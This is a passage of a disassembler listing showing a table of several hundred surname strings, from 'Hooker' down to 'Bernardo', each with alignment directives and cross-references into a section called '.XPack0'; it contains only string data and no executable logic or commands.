aHooker db 'Hooker',0 ; DATA XREF: .XPack0:0043096Co
align 4
aHolzman db 'Holzman',0 ; DATA XREF: .XPack0:00430968o
aHolway db 'Holway',0 ; DATA XREF: .XPack0:00430964o
align 4
aHolter db 'Holter',0 ; DATA XREF: .XPack0:00430960o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .XPack0:0043095Co
aHolmes db 'Holmes',0 ; DATA XREF: .XPack0:00430958o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .XPack0:00430954o
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: .XPack0:00430950o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .XPack0:0043094Co
aHoffer db 'Hoffer',0 ; DATA XREF: .XPack0:00430948o
align 4
aHock db 'Hock',0 ; DATA XREF: .XPack0:00430944o
align 10h
aHoang db 'Hoang',0 ; DATA XREF: .XPack0:00430940o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: .XPack0:0043093Co
align 4
aHirst db 'Hirst',0 ; DATA XREF: .XPack0:00430938o
align 4
aHind db 'Hind',0 ; DATA XREF: .XPack0:00430934o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .XPack0:00430930o
align 10h
aHeyeck db 'Heyeck',0 ; DATA XREF: .XPack0:0043092Co
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .XPack0:00430928o
aHester db 'Hester',0 ; DATA XREF: .XPack0:00430924o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .XPack0:00430920o
aHernandez db 'Hernandez',0 ; DATA XREF: .XPack0:0043091Co
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .XPack0:00430918o
align 4
aHenery db 'Henery',0 ; DATA XREF: .XPack0:00430914o
align 10h
aHemphill db 'Hemphill',0 ; DATA XREF: .XPack0:00430910o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: .XPack0:0043090Co
aHellmiss db 'Hellmiss',0 ; DATA XREF: .XPack0:00430908o
align 10h
aHellman db 'Hellman',0 ; DATA XREF: .XPack0:00430904o
aHeiland db 'Heiland',0 ; DATA XREF: .XPack0:00430900o
aHeft db 'Heft',0 ; DATA XREF: .XPack0:004308FCo
align 4
aHeermans db 'Heermans',0 ; DATA XREF: .XPack0:004308F8o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .XPack0:004308F4o
align 10h
aHaynes db 'Haynes',0 ; DATA XREF: .XPack0:004308F0o
align 4
aHayes db 'Hayes',0 ; DATA XREF: .XPack0:004308ECo
align 10h
aHawkes db 'Hawkes',0 ; DATA XREF: .XPack0:004308E8o
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: .XPack0:004308E4o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .XPack0:004308E0o
aHartnett db 'Hartnett',0 ; DATA XREF: .XPack0:004308DCo
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: .XPack0:004308D8o
align 4
aHartman db 'Hartman',0 ; DATA XREF: .XPack0:004308D4o
aHarrigan db 'Harrigan',0 ; DATA XREF: .XPack0:004308D0o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .XPack0:004308CCo
align 10h
aHargraves db 'Hargraves',0 ; DATA XREF: .XPack0:004308C8o
align 4
aHarding db 'Harding',0 ; DATA XREF: .XPack0:004308C4o
aHanssen db 'Hanssen',0 ; DATA XREF: .XPack0:004308C0o
aHand db 'Hand',0 ; DATA XREF: .XPack0:004308BCo
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .XPack0:004308B8o
align 10h
aHamer db 'Hamer',0 ; DATA XREF: .XPack0:004308B4o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .XPack0:004308B0o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .XPack0:004308ACo
aHallowell db 'Hallowell',0 ; DATA XREF: .XPack0:004308A8o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: .XPack0:004308A4o
aHaley db 'Haley',0 ; DATA XREF: .XPack0:004308A0o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: .XPack0:0043089Co
align 4
aHackman db 'Hackman',0 ; DATA XREF: .XPack0:00430898o
aHaar db 'Haar',0 ; DATA XREF: .XPack0:00430894o
align 4
aHa db 'Ha',0 ; DATA XREF: .XPack0:00430890o
align 4
aGuo db 'Guo',0 ; DATA XREF: .XPack0:0043088Co
aGunn db 'Gunn',0 ; DATA XREF: .XPack0:00430888o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: .XPack0:00430884o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .XPack0:00430880o
align 4
aGruner db 'Gruner',0 ; DATA XREF: .XPack0:0043087Co
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .XPack0:00430878o
align 10h
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .XPack0:00430874o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .XPack0:00430870o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .XPack0:0043086Co
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .XPack0:00430868o
align 10h
aGravell db 'Gravell',0 ; DATA XREF: .XPack0:00430864o
aGozzi db 'Gozzi',0 ; DATA XREF: .XPack0:00430860o
align 10h
aGoody db 'Goody',0 ; DATA XREF: .XPack0:0043085Co
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: .XPack0:00430858o
align 4
aGood db 'Good',0 ; DATA XREF: .XPack0:00430854o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .XPack0:00430850o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .XPack0:0043084Co
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .XPack0:00430848o
aGlegg db 'Glegg',0 ; DATA XREF: .XPack0:00430844o
align 4
aGleason db 'Gleason',0 ; DATA XREF: .XPack0:00430840o
aGist db 'Gist',0 ; DATA XREF: .XPack0:0043083Co
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .XPack0:00430838o
align 10h
aGill db 'Gill',0 ; DATA XREF: .XPack0:00430834o
align 4
aGili db 'Gili',0 ; DATA XREF: .XPack0:00430830o
align 10h
aGilbert db 'Gilbert',0 ; DATA XREF: .XPack0:0043082Co
aGibson db 'Gibson',0 ; DATA XREF: .XPack0:00430828o
align 10h
aGibbens db 'Gibbens',0 ; DATA XREF: .XPack0:00430824o
aGhorai db 'Ghorai',0 ; DATA XREF: .XPack0:00430820o
align 10h
aGerrett db 'Gerrett',0 ; DATA XREF: .XPack0:0043081Co
aGeorgi db 'Georgi',0 ; DATA XREF: .XPack0:00430818o
align 10h
aGemberling db 'Gemberling',0 ; DATA XREF: .XPack0:00430814o
align 4
aGeller db 'Geller',0 ; DATA XREF: .XPack0:00430810o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .XPack0:0043080Co
aGarman db 'Garman',0 ; DATA XREF: .XPack0:00430808o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: .XPack0:00430804o
align 10h
aGambini db 'Gambini',0 ; DATA XREF: .XPack0:00430800o
aGalwey db 'Galwey',0 ; DATA XREF: .XPack0:004307FCo
align 10h
aGaleotti db 'Galeotti',0 ; DATA XREF: .XPack0:004307F8o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .XPack0:004307F4o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: .XPack0:004307F0o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .XPack0:004307ECo
align 4
aFurth db 'Furth',0 ; DATA XREF: .XPack0:004307E8o
align 4
aFuller db 'Fuller',0 ; DATA XREF: .XPack0:004307E4o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .XPack0:004307E0o
align 4
aFrye db 'Frye',0 ; DATA XREF: .XPack0:004307DCo
align 10h
aFryberger db 'Fryberger',0 ; DATA XREF: .XPack0:004307D8o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: .XPack0:004307D4o
aFrisken db 'Frisken',0 ; DATA XREF: .XPack0:004307D0o
aFriedland db 'Friedland',0 ; DATA XREF: .XPack0:004307CCo
align 4
aFried db 'Fried',0 ; DATA XREF: .XPack0:004307C8o
align 10h
aFreundlich db 'Freundlich',0 ; DATA XREF: .XPack0:004307C4o
align 4
aFreid db 'Freid',0 ; DATA XREF: .XPack0:004307C0o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .XPack0:004307BCo
align 4
aFranz db 'Franz',0 ; DATA XREF: .XPack0:004307B8o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .XPack0:004307B4o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .XPack0:004307B0o
align 4
aFossi db 'Fossi',0 ; DATA XREF: .XPack0:004307ACo
align 10h
aFossey db 'Fossey',0 ; DATA XREF: .XPack0:004307A8o
align 4
aFortier db 'Fortier',0 ; DATA XREF: .XPack0:004307A4o
aFortes db 'Fortes',0 ; DATA XREF: .XPack0:004307A0o
align 4
aForester db 'Forester',0 ; DATA XREF: .XPack0:0043079Co
align 4
aFolks db 'Folks',0 ; DATA XREF: .XPack0:00430798o
align 4
aFlores db 'Flores',0 ; DATA XREF: .XPack0:00430794o
align 4
aFlier db 'Flier',0 ; DATA XREF: .XPack0:00430790o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .XPack0:0043078Co
aFisk db 'Fisk',0 ; DATA XREF: .XPack0:00430788o
align 10h
aFiorina db 'Fiorina',0 ; DATA XREF: .XPack0:00430784o
aFinnegan db 'Finnegan',0 ; DATA XREF: .XPack0:00430780o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .XPack0:0043077Co
aFink db 'Fink',0 ; DATA XREF: .XPack0:00430778o
align 4
aField db 'Field',0 ; DATA XREF: .XPack0:00430774o
align 10h
aFido db 'Fido',0 ; DATA XREF: .XPack0:00430770o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .XPack0:0043076Co
align 10h
aFerriell db 'Ferriell',0 ; DATA XREF: .XPack0:00430768o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .XPack0:00430764o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: .XPack0:00430760o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .XPack0:0043075Co
aFeldman db 'Feldman',0 ; DATA XREF: .XPack0:00430758o
aFejzo db 'Fejzo',0 ; DATA XREF: .XPack0:00430754o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .XPack0:00430750o
align 4
aFates db 'Fates',0 ; DATA XREF: .XPack0:0043074Co
align 10h
aFasso db 'Fasso',27h,0 ; DATA XREF: .XPack0:00430748o
align 4
aFarren db 'Farren',0 ; DATA XREF: .XPack0:00430744o
align 10h
aFarone db 'Farone',0 ; DATA XREF: .XPack0:00430740o
align 4
aFaris db 'Faris',0 ; DATA XREF: .XPack0:0043073Co
align 10h
aFalorsi db 'Falorsi',0 ; DATA XREF: .XPack0:00430738o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .XPack0:00430734o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .XPack0:00430730o
align 10h
aFagan db 'Fagan',0 ; DATA XREF: .XPack0:0043072Co
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: .XPack0:00430728o
aEverett db 'Everett',0 ; DATA XREF: .XPack0:00430724o
aEuripides db 'Euripides',0 ; DATA XREF: .XPack0:00430720o
align 4
aEtter db 'Etter',0 ; DATA XREF: .XPack0:0043071Co
align 4
aEstes db 'Estes',0 ; DATA XREF: .XPack0:00430718o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .XPack0:00430714o
align 10h
aErez db 'Erez',0 ; DATA XREF: .XPack0:00430710o
align 4
aErdos db 'Erdos',0 ; DATA XREF: .XPack0:0043070Co
align 10h
aErdman db 'Erdman',0 ; DATA XREF: .XPack0:00430708o
align 4
aErbach db 'Erbach',0 ; DATA XREF: .XPack0:00430704o
align 10h
aEppling db 'Eppling',0 ; DATA XREF: .XPack0:00430700o
aEnyeart db 'Enyeart',0 ; DATA XREF: .XPack0:004306FCo
aEncinas db 'Encinas',0 ; DATA XREF: .XPack0:004306F8o
aElvis db 'Elvis',0 ; DATA XREF: .XPack0:004306F4o
align 10h
aElmerick db 'Elmerick',0 ; DATA XREF: .XPack0:004306F0o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .XPack0:004306ECo
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: .XPack0:004306E8o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .XPack0:004306E4o
aEdward db 'Edward',0 ; DATA XREF: .XPack0:004306E0o
align 4
aEdner db 'Edner',0 ; DATA XREF: .XPack0:004306DCo
align 10h
aEdley db 'Edley',0 ; DATA XREF: .XPack0:004306D8o
align 4
aEckel db 'Eckel',0 ; DATA XREF: .XPack0:004306D4o
align 10h
aEbeling db 'Ebeling',0 ; DATA XREF: .XPack0:004306D0o
aEardley db 'Eardley',0 ; DATA XREF: .XPack0:004306CCo
aDwyer db 'Dwyer',0 ; DATA XREF: .XPack0:004306C8o
align 4
aDussault db 'Dussault',0 ; DATA XREF: .XPack0:004306C4o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .XPack0:004306C0o
aDuffin db 'Duffin',0 ; DATA XREF: .XPack0:004306BCo
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .XPack0:004306B8o
aDrinker db 'Drinker',0 ; DATA XREF: .XPack0:004306B4o
aDowsland db 'Dowsland',0 ; DATA XREF: .XPack0:004306B0o
align 10h
aDoug db 'Doug',0 ; DATA XREF: .XPack0:004306ACo
align 4
aDoty db 'Doty',0 ; DATA XREF: .XPack0:004306A8o
align 10h
aDosi db 'Dosi',0 ; DATA XREF: .XPack0:004306A4o
align 4
aDorf db 'Dorf',0 ; DATA XREF: .XPack0:004306A0o
align 10h
aDore db 'Dore',0 ; DATA XREF: .XPack0:0043069Co
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .XPack0:00430698o
align 10h
aDonner db 'Donner',0 ; DATA XREF: .XPack0:00430694o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: .XPack0:00430690o
aDoherty db 'Doherty',0 ; DATA XREF: .XPack0:0043068Co
aDockery db 'Dockery',0 ; DATA XREF: .XPack0:00430688o
aDirksen db 'Dirksen',0 ; DATA XREF: .XPack0:00430684o
aDionysius db 'Dionysius',0 ; DATA XREF: .XPack0:00430680o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .XPack0:0043067Co
align 10h
aDifronzo db 'Difronzo',0 ; DATA XREF: .XPack0:00430678o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .XPack0:00430674o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .XPack0:00430670o
align 10h
aDicks db 'Dicks',0 ; DATA XREF: .XPack0:0043066Co
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: .XPack0:00430668o
align 10h
aDeutsch db 'Deutsch',0 ; DATA XREF: .XPack0:00430664o
aDesombre db 'Desombre',0 ; DATA XREF: .XPack0:00430660o
align 4
aDenison db 'Denison',0 ; DATA XREF: .XPack0:0043065Co
aDenham db 'Denham',0 ; DATA XREF: .XPack0:00430658o
align 4
aDenault db 'Denault',0 ; DATA XREF: .XPack0:00430654o
aDemusz db 'Demusz',0 ; DATA XREF: .XPack0:00430650o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .XPack0:0043064Co
align 10h
aDeming db 'Deming',0 ; DATA XREF: .XPack0:00430648o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .XPack0:00430644o
align 4
aDelger db 'Delger',0 ; DATA XREF: .XPack0:00430640o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .XPack0:0043063Co
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .XPack0:00430638o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .XPack0:00430634o
align 4
aDees db 'Dees',0 ; DATA XREF: .XPack0:00430630o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .XPack0:0043062Co
aDerousse db 'deRousse',0 ; DATA XREF: .XPack0:00430628o
align 10h
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .XPack0:00430624o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .XPack0:00430620o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: .XPack0:0043061Co
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .XPack0:00430618o
aDavid db 'David',0 ; DATA XREF: .XPack0:00430614o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .XPack0:00430610o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .XPack0:0043060Co
align 4
aDas db 'Das',0 ; DATA XREF: .XPack0:00430608o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .XPack0:00430604o
aDapice db 'Dapice',0 ; DATA XREF: .XPack0:00430600o
align 10h
aDante db 'Dante',0 ; DATA XREF: .XPack0:004305FCo
align 4
aDanieli db 'Danieli',0 ; DATA XREF: .XPack0:004305F8o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .XPack0:004305F4o
aDaly db 'Daly',0 ; DATA XREF: .XPack0:004305F0o
align 10h
aDaldalian db 'Daldalian',0 ; DATA XREF: .XPack0:004305ECo
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .XPack0:004305E8o
aCyders db 'Cyders',0 ; DATA XREF: .XPack0:004305E4o
align 4
aCvek db 'Cvek',0 ; DATA XREF: .XPack0:004305E0o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .XPack0:004305DCo
align 4
aCurrier db 'Currier',0 ; DATA XREF: .XPack0:004305D8o
aCui db 'Cui',0 ; DATA XREF: .XPack0:004305D4o
aCroxton db 'Croxton',0 ; DATA XREF: .XPack0:004305D0o
aCroxen db 'Croxen',0 ; DATA XREF: .XPack0:004305CCo
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: .XPack0:004305C8o
aCrocker db 'Crocker',0 ; DATA XREF: .XPack0:004305C4o
aCrawford db 'Crawford',0 ; DATA XREF: .XPack0:004305C0o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .XPack0:004305BCo
aCounter db 'Counter',0 ; DATA XREF: .XPack0:004305B8o
aCosmides db 'Cosmides',0 ; DATA XREF: .XPack0:004305B4o
align 10h
aCornish db 'Cornish',0 ; DATA XREF: .XPack0:004305B0o
aCorey db 'Corey',0 ; DATA XREF: .XPack0:004305ACo
align 10h
aConnors db 'Connors',0 ; DATA XREF: .XPack0:004305A8o
aCondodina db 'Condodina',0 ; DATA XREF: .XPack0:004305A4o
align 4
aConcino db 'Concino',0 ; DATA XREF: .XPack0:004305A0o
aComstock db 'Comstock',0 ; DATA XREF: .XPack0:0043059Co
align 4
aCompton db 'Compton',0 ; DATA XREF: .XPack0:00430594o
; .XPack0:00430598o
aCollis db 'Collis',0 ; DATA XREF: .XPack0:00430590o
align 4
aCollard db 'Collard',0 ; DATA XREF: .XPack0:0043058Co
aColella db 'Colella',0 ; DATA XREF: .XPack0:00430588o
aColdren db 'Coldren',0 ; DATA XREF: .XPack0:00430584o
aCoito db 'Coito',0 ; DATA XREF: .XPack0:00430580o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .XPack0:0043057Co
aClow db 'Clow',0 ; DATA XREF: .XPack0:00430578o
align 4
aClifton db 'Clifton',0 ; DATA XREF: .XPack0:00430574o
aClement db 'Clement',0 ; DATA XREF: .XPack0:00430570o
aClark db 'Clark',0 ; DATA XREF: .XPack0:0043056Co
align 10h
aClancy db 'Clancy',0 ; DATA XREF: .XPack0:00430568o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .XPack0:00430564o
aCifarelli db 'Cifarelli',0 ; DATA XREF: .XPack0:00430560o
align 4
aCicero db 'Cicero',0 ; DATA XREF: .XPack0:0043055Co
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .XPack0:00430558o
align 10h
aChurch db 'Church',0 ; DATA XREF: .XPack0:00430554o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: .XPack0:00430550o
align 4
aChu db 'Chu',0 ; DATA XREF: .XPack0:0043054Co
aChristopher db 'Christopher',0 ; DATA XREF: .XPack0:00430548o
aChristie db 'Christie',0 ; DATA XREF: .XPack0:00430544o
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: .XPack0:00430540o
align 4
aChristian db 'Christian',0 ; DATA XREF: .XPack0:0043053Co
align 4
aChristenson db 'Christenson',0 ; DATA XREF: .XPack0:00430538o
aChinman db 'Chinman',0 ; DATA XREF: .XPack0:00430534o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .XPack0:00430530o
aChilds db 'Childs',0 ; DATA XREF: .XPack0:0043052Co
align 10h
aChildress db 'Childress',0 ; DATA XREF: .XPack0:00430528o
align 4
aChien db 'Chien',0 ; DATA XREF: .XPack0:00430524o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .XPack0:00430520o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: .XPack0:0043051Co
align 4
aCherry db 'Cherry',0 ; DATA XREF: .XPack0:00430518o
align 4
aCheang db 'Cheang',0 ; DATA XREF: .XPack0:00430514o
align 4
aCharles db 'Charles',0 ; DATA XREF: .XPack0:00430510o
aChapman db 'Chapman',0 ; DATA XREF: .XPack0:0043050Co
aCerioli db 'Cerioli',0 ; DATA XREF: .XPack0:00430508o
aCeniceros db 'Ceniceros',0 ; DATA XREF: .XPack0:00430504o
align 10h
aCavell db 'Cavell',0 ; DATA XREF: .XPack0:00430500o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .XPack0:004304FCo
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .XPack0:004304F8o
align 10h
aCaspar db 'Caspar',0 ; DATA XREF: .XPack0:004304F4o
align 4
aCase db 'Case',0 ; DATA XREF: .XPack0:004304F0o
align 10h
aCascio db 'Cascio',0 ; DATA XREF: .XPack0:004304ECo
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .XPack0:004304E8o
align 4
aCarper db 'Carper',0 ; DATA XREF: .XPack0:004304E4o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .XPack0:004304E0o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .XPack0:004304DCo
align 10h
aCarlyle db 'Carlyle',0 ; DATA XREF: .XPack0:004304D8o
aCarlos db 'Carlos',0 ; DATA XREF: .XPack0:004304D4o
align 10h
aCarlin db 'Carlin',0 ; DATA XREF: .XPack0:004304D0o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .XPack0:004304CCo
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .XPack0:004304C8o
aCapursi db 'Capursi',0 ; DATA XREF: .XPack0:004304C4o
aCappuccio db 'Cappuccio',0 ; DATA XREF: .XPack0:004304C0o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .XPack0:004304BCo
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .XPack0:004304B8o
align 10h
aCaperton db 'Caperton',0 ; DATA XREF: .XPack0:004304B4o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .XPack0:004304B0o
aCanley db 'Canley',0 ; DATA XREF: .XPack0:004304ACo
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .XPack0:004304A8o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .XPack0:004304A4o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .XPack0:004304A0o
align 4
aCage db 'Cage',0 ; DATA XREF: .XPack0:0043049Co
align 4
aByrd db 'Byrd',0 ; DATA XREF: .XPack0:00430498o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .XPack0:00430494o
align 4
aByatt db 'Byatt',0 ; DATA XREF: .XPack0:00430490o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .XPack0:0043048Co
aBurridge db 'Burridge',0 ; DATA XREF: .XPack0:00430488o
align 10h
aBurke db 'Burke',0 ; DATA XREF: .XPack0:00430484o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .XPack0:00430480o
align 10h
aBurden db 'Burden',0 ; DATA XREF: .XPack0:0043047Co
align 4
aBunton db 'Bunton',0 ; DATA XREF: .XPack0:00430478o
align 10h
aBullard db 'Bullard',0 ; DATA XREF: .XPack0:00430474o
aBudding db 'Budding',0 ; DATA XREF: .XPack0:00430470o
aBuchan db 'Buchan',0 ; DATA XREF: .XPack0:0043046Co
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .XPack0:00430468o
aBrook db 'Brook',0 ; DATA XREF: .XPack0:00430464o
align 4
aBroca db 'Broca',0 ; DATA XREF: .XPack0:00430460o
align 10h
aBritz db 'Britz',0 ; DATA XREF: .XPack0:0043045Co
align 4
aBrinton db 'Brinton',0 ; DATA XREF: .XPack0:00430458o
aBridges db 'Bridges',0 ; DATA XREF: .XPack0:00430454o
aBridgeman db 'Bridgeman',0 ; DATA XREF: .XPack0:00430450o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .XPack0:00430448o
; .XPack0:0043044Co
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .XPack0:00430444o
aBrenan db 'Brenan',0 ; DATA XREF: .XPack0:00430440o
align 4
aBreed db 'Breed',0 ; DATA XREF: .XPack0:0043043Co
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .XPack0:00430438o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .XPack0:00430434o
aBradac db 'Bradac',0 ; DATA XREF: .XPack0:00430430o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .XPack0:0043042Co
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .XPack0:00430428o
align 10h
aBoym db 'Boym',0 ; DATA XREF: .XPack0:00430424o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .XPack0:00430420o
aBoyes db 'Boyes',0 ; DATA XREF: .XPack0:0043041Co
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .XPack0:00430418o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .XPack0:00430414o
align 4
aBowers db 'Bowers',0 ; DATA XREF: .XPack0:00430410o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .XPack0:0043040Co
align 10h
aBoudrot db 'Boudrot',0 ; DATA XREF: .XPack0:00430408o
aBoudin db 'Boudin',0 ; DATA XREF: .XPack0:00430404o
align 10h
aBotosh db 'Botosh',0 ; DATA XREF: .XPack0:00430400o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .XPack0:004303FCo
aBossi db 'Bossi',0 ; DATA XREF: .XPack0:004303F8o
align 4
aBorden db 'Borden',0 ; DATA XREF: .XPack0:004303F4o
align 10h
aBorack db 'Borack',0 ; DATA XREF: .XPack0:004303F0o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .XPack0:004303ECo
align 4
aBoone db 'Boone',0 ; DATA XREF: .XPack0:004303E8o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .XPack0:004303E4o
align 4
aBook db 'Book',0 ; DATA XREF: .XPack0:004303E0o
align 10h
aBontempo db 'Bontempo',0 ; DATA XREF: .XPack0:004303DCo
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .XPack0:004303D8o
align 4
aBonham db 'Bonham',0 ; DATA XREF: .XPack0:004303D4o
align 10h
aBoner db 'Boner',0 ; DATA XREF: .XPack0:004303D0o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .XPack0:004303CCo
aBollinger db 'Bollinger',0 ; DATA XREF: .XPack0:004303C8o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .XPack0:004303C4o
align 4
aBolger db 'Bolger',0 ; DATA XREF: .XPack0:004303C0o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: .XPack0:004303BCo
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .XPack0:004303B8o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .XPack0:004303B4o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .XPack0:004303B0o
aBloch db 'Bloch',0 ; DATA XREF: .XPack0:004303ACo
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .XPack0:004303A8o
aBliss db 'Bliss',0 ; DATA XREF: .XPack0:004303A4o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .XPack0:004303A0o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .XPack0:0043039Co
align 10h
aBlagg db 'Blagg',0 ; DATA XREF: .XPack0:00430398o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .XPack0:00430394o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .XPack0:00430390o
align 10h
aBisho db 'Bisho',0 ; DATA XREF: .XPack0:0043038Co
align 4
aBisema db 'Bisema',0 ; DATA XREF: .XPack0:00430388o
align 10h
aBir db 'Bir',0 ; DATA XREF: .XPack0:00430384o
aBinion db 'Binion',0 ; DATA XREF: .XPack0:00430380o
align 4
aBickel db 'Bickel',0 ; DATA XREF: .XPack0:0043037Co
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .XPack0:00430378o
align 10h
aBeynart db 'Beynart',0 ; DATA XREF: .XPack0:00430374o
aBetti db 'Betti',0 ; DATA XREF: .XPack0:00430370o
align 10h
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .XPack0:0043036Co
align 10h
aBernston db 'Bernston',0 ; DATA XREF: .XPack0:00430368o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .XPack0:00430364o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: .XPack0:00430360o
align 4
